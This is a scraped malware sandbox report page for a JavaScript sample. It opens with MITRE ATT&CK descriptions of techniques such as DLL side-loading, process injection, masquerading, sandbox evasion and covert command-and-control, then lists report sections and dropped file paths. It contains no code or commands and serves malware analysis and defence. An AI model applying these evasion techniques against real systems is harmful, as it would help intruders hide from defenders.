Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1187225758523111660.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2501e173-cc08-4a6e-8e85-f35680686e7d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7720

Windows Analysis Report
1187225758523111660.js